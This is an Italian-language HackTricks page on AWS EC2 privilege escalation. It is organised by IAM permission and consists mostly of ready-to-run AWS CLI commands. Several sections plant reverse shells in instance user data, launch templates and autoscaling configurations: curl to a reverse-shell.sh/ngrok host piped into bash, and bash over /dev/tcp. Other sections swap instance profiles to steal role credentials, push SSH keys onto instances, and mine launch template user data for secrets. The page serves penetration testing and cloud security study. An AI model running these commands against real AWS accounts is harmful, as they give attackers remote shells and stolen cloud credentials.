Files
hacktricks-cloud/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md

264 lines
13 KiB
Markdown

# AWS - EC2 Privesc
{{#include ../../../banners/hacktricks-training.md}}
## EC2
Per ulteriori **info su EC2** controlla:
{{#ref}}
../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
{{#endref}}
### `iam:PassRole`, `ec2:RunInstances`
Un attaccante potrebbe **creare un'istanza allegando un ruolo IAM e poi accedere all'istanza** per rubare le credenziali del ruolo IAM dall'endpoint dei metadati.
- **Accesso tramite SSH**
Esegui una nuova istanza utilizzando una **chiave ssh** **creata** (`--key-name`) e poi accedi tramite ssh (se vuoi crearne una nuova potresti aver bisogno del permesso `ec2:CreateKeyPair`).
```bash
aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
--security-group-ids <sg-id>
```
- **Accesso tramite rev shell nei dati utente**
Puoi avviare una nuova istanza utilizzando un **user data** (`--user-data`) che ti invierà una **rev shell**. Non è necessario specificare il gruppo di sicurezza in questo modo.
```bash
echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=E<instance-profile-name> \
--count 1 \
--user-data "file:///tmp/rev.sh"
```
Fai attenzione con GuardDuty se utilizzi le credenziali del ruolo IAM al di fuori dell'istanza:
{{#ref}}
../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
{{#endref}}
**Impatto Potenziale:** Privesc diretto a qualsiasi ruolo EC2 associato ai profili di istanza esistenti.
#### Privesc a ECS
Con questo set di permessi potresti anche **creare un'istanza EC2 e registrarla all'interno di un cluster ECS**. In questo modo, i **servizi** ECS verranno **eseguiti** all'interno dell'**istanza EC2** a cui hai accesso e poi potrai penetrare in quei servizi (contenitori docker) e **rubare i loro ruoli ECS associati**.
```bash
aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
--instance-type t2.micro \
--iam-instance-profile <ECS_role> \
--count 1 --key-name pwned \
--user-data "file:///tmp/asd.sh"
# Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs)
# The EC2 instance profile needs basic ECS access
# The content of the user data is:
#!/bin/bash
echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
```
Per imparare a **forzare i servizi ECS a essere eseguiti** in questa nuova istanza EC2 controlla:
{{#ref}}
aws-ecs-privesc.md
{{#endref}}
Se **non puoi creare una nuova istanza** ma hai il permesso `ecs:RegisterContainerInstance`, potresti essere in grado di registrare l'istanza all'interno del cluster e eseguire l'attacco commentato.
**Impatto Potenziale:** Privesc diretto ai ruoli ECS associati ai task.
### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`**
Simile allo scenario precedente, un attaccante con questi permessi potrebbe **cambiare il ruolo IAM di un'istanza compromessa** in modo da poter rubare nuove credenziali.\
Poiché un profilo di istanza può avere solo 1 ruolo, se il profilo di istanza **ha già un ruolo** (caso comune), avrai anche bisogno di **`iam:RemoveRoleFromInstanceProfile`**.
```bash
# Removing role from instance profile
aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>
# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>
```
Se il **profilo dell'istanza ha un ruolo** e l'attaccante **non può rimuoverlo**, c'è un'altra soluzione. Potrebbe **trovare** un **profilo dell'istanza senza un ruolo** o **crearne uno nuovo** (`iam:CreateInstanceProfile`), **aggiungere** il **ruolo** a quel **profilo dell'istanza** (come discusso in precedenza) e **associare il profilo dell'istanza** compromesso a un'istanza compromessa:
- Se l'istanza **non ha alcun profilo** dell'istanza (`ec2:AssociateIamInstanceProfile`) \*
```bash
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
```
**Impatto Potenziale:** Privesc diretto a un diverso ruolo EC2 (è necessario aver compromesso un'istanza AWS EC2 e avere alcuni permessi extra o uno stato specifico del profilo dell'istanza).
### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
Con questi permessi è possibile cambiare il profilo dell'istanza associato a un'istanza, quindi se l'attacco ha già accesso a un'istanza, sarà in grado di rubare le credenziali per più ruoli di profilo dell'istanza cambiando quello associato ad essa.
- Se **ha un profilo dell'istanza**, puoi **rimuovere** il profilo dell'istanza (`ec2:DisassociateIamInstanceProfile`) e **associarlo** \*
```bash
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id <value>
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
```
- o **sostituire** il **profilo dell'istanza** dell'istanza compromessa (`ec2:ReplaceIamInstanceProfileAssociation`). \*
````
```bash
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
```
````
**Impatto Potenziale:** Privesc diretto a un diverso ruolo EC2 (è necessario aver compromesso un'istanza AWS EC2 e avere alcuni permessi extra o uno stato specifico del profilo dell'istanza).
### `ec2:RequestSpotInstances`,`iam:PassRole`
Un attaccante con i permessi **`ec2:RequestSpotInstances`e`iam:PassRole`** può **richiedere** un **Spot Instance** con un **ruolo EC2 allegato** e una **rev shell** nei **dati utente**.\
Una volta che l'istanza è in esecuzione, può **rubare il ruolo IAM**.
```bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)
aws ec2 request-spot-instances \
--instance-count 1 \
--launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}"
```
### `ec2:ModifyInstanceAttribute`
Un attaccante con il **`ec2:ModifyInstanceAttribute`** può modificare gli attributi delle istanze. Tra questi, può **cambiare i dati utente**, il che implica che può far **eseguire dati arbitrari** all'istanza. Questo può essere utilizzato per ottenere una **rev shell all'istanza EC2**.
Nota che gli attributi possono essere **modificati solo mentre l'istanza è ferma**, quindi le **permissoni** **`ec2:StopInstances`** e **`ec2:StartInstances`**.
```bash
TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0
--//
Content-Type: text/cloud-config; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="cloud-config.txt"
#cloud-config
cloud_final_modules:
- [scripts-user, always]
--//
Content-Type: text/x-shellscript; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="userdata.txt"
#!/bin/bash
bash -i >& /dev/tcp/2.tcp.ngrok.io/14510 0>&1
--//'
TEXT_PATH="/tmp/text.b64.txt"
printf $TEXT | base64 > "$TEXT_PATH"
aws ec2 stop-instances --instance-ids $INSTANCE_ID
aws ec2 modify-instance-attribute \
--instance-id="$INSTANCE_ID" \
--attribute userData \
--value file://$TEXT_PATH
aws ec2 start-instances --instance-ids $INSTANCE_ID
```
**Impatto Potenziale:** Privesc diretto a qualsiasi ruolo IAM EC2 associato a un'istanza creata.
### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
Un attaccante con i permessi **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` e `ec2:ModifyLaunchTemplate`** può creare una **nuova versione del Launch Template** con una **rev shell in** i **dati utente** e **qualsiasi ruolo IAM EC2 su di esso**, cambiare la versione predefinita, e **qualsiasi gruppo Autoscaler** **che utilizza** quel **Launch Template** che è **configurato** per utilizzare la **versione più recente** o la **versione predefinita** **riavvierà le istanze** utilizzando quel template ed eseguirà la rev shell.
```bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)
aws ec2 create-launch-template-version \
--launch-template-name bad_template \
--launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}"
aws ec2 modify-launch-template \
--launch-template-name bad_template \
--default-version 2
```
**Impatto Potenziale:** Privesc diretto a un diverso ruolo EC2.
### `autoscaling:CreateLaunchConfiguration`, `autoscaling:CreateAutoScalingGroup`, `iam:PassRole`
Un attaccante con i permessi **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** può **creare una Configurazione di Avvio** con un **Ruolo IAM** e una **rev shell** all'interno dei **dati utente**, quindi **creare un gruppo di autoscaling** da quella configurazione e aspettare che la rev shell **rubare il Ruolo IAM**.
```bash
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
--image-id ami-0c1bc246476a5572b \
--instance-type t3.micro \
--iam-instance-profile EC2-CloudWatch-Agent-Role \
--user-data "$REV"
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
--auto-scaling-group-name bad_auto \
--min-size 1 --max-size 1 \
--launch-configuration-name bad_config \
--desired-capacity 1 \
--vpc-zone-identifier "subnet-e282f9b8"
```
**Impatto Potenziale:** Privesc diretto a un diverso ruolo EC2.
### `!autoscaling`
Il set di permessi **`ec2:CreateLaunchTemplate`** e **`autoscaling:CreateAutoScalingGroup`** **non è sufficiente per escalare** i privilegi a un ruolo IAM perché per allegare il ruolo specificato nella Configurazione di Avvio o nel Modello di Avvio **hai bisogno dei permessi `iam:PassRole` e `ec2:RunInstances`** (che è un noto privesc).
### `ec2-instance-connect:SendSSHPublicKey`
Un attaccante con il permesso **`ec2-instance-connect:SendSSHPublicKey`** può aggiungere una chiave ssh a un utente e usarla per accedervi (se ha accesso ssh all'istanza) o per escalare i privilegi.
```bash
aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--instance-os-user "ec2-user" \
--ssh-public-key "file://$PUBK_PATH"
```
**Impatto Potenziale:** Privesc diretto ai ruoli IAM EC2 associati alle istanze in esecuzione.
### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`
Un attaccante con il permesso **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** può **aggiungere una chiave ssh a una connessione seriale**. Se la seriale non è abilitata, l'attaccante ha bisogno del permesso **`ec2:EnableSerialConsoleAccess` per abilitarla**.
Per connettersi alla porta seriale è anche **necessario conoscere il nome utente e la password di un utente** all'interno della macchina.
```bash
aws ec2 enable-serial-console-access
aws ec2-instance-connect send-serial-console-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--serial-port 0 \
--region "eu-west-1" \
--ssh-public-key "file://$PUBK_PATH"
ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
```
Questo modo non è molto utile per il privesc poiché è necessario conoscere un nome utente e una password per sfruttarlo.
**Impatto Potenziale:** (Altamente improbabile) Privesc diretto ai ruoli IAM EC2 associati alle istanze in esecuzione.
### `describe-launch-templates`,`describe-launch-template-versions`
Poiché i modelli di avvio hanno versioning, un attaccante con i permessi **`ec2:describe-launch-templates`** e **`ec2:describe-launch-template-versions`** potrebbe sfruttarli per scoprire informazioni sensibili, come le credenziali presenti nei dati utente. Per raggiungere questo obiettivo, il seguente script scorre tutte le versioni dei modelli di avvio disponibili:
```bash
for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
do
echo "[*] Analyzing $i"
aws ec2 describe-launch-template-versions --launch-template-id $i --region us-east-1 | jq -r '.LaunchTemplateVersions[] | "\(.VersionNumber) \(.LaunchTemplateData.UserData)"' | while read version userdata
do
echo "VersionNumber: $version"
echo "$userdata" | base64 -d
echo
done | grep -iE "aws_|password|token|api"
done
```
Nei comandi sopra, anche se stiamo specificando determinati modelli (`aws_|password|token|api`), puoi utilizzare una regex diversa per cercare altri tipi di informazioni sensibili.
Assumendo di trovare `aws_access_key_id` e `aws_secret_access_key`, possiamo utilizzare queste credenziali per autenticarsi su AWS.
**Impatto Potenziale:** Escalation diretta dei privilegi a IAM user(s).
## Riferimenti
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
{{#include ../../../banners/hacktricks-training.md}}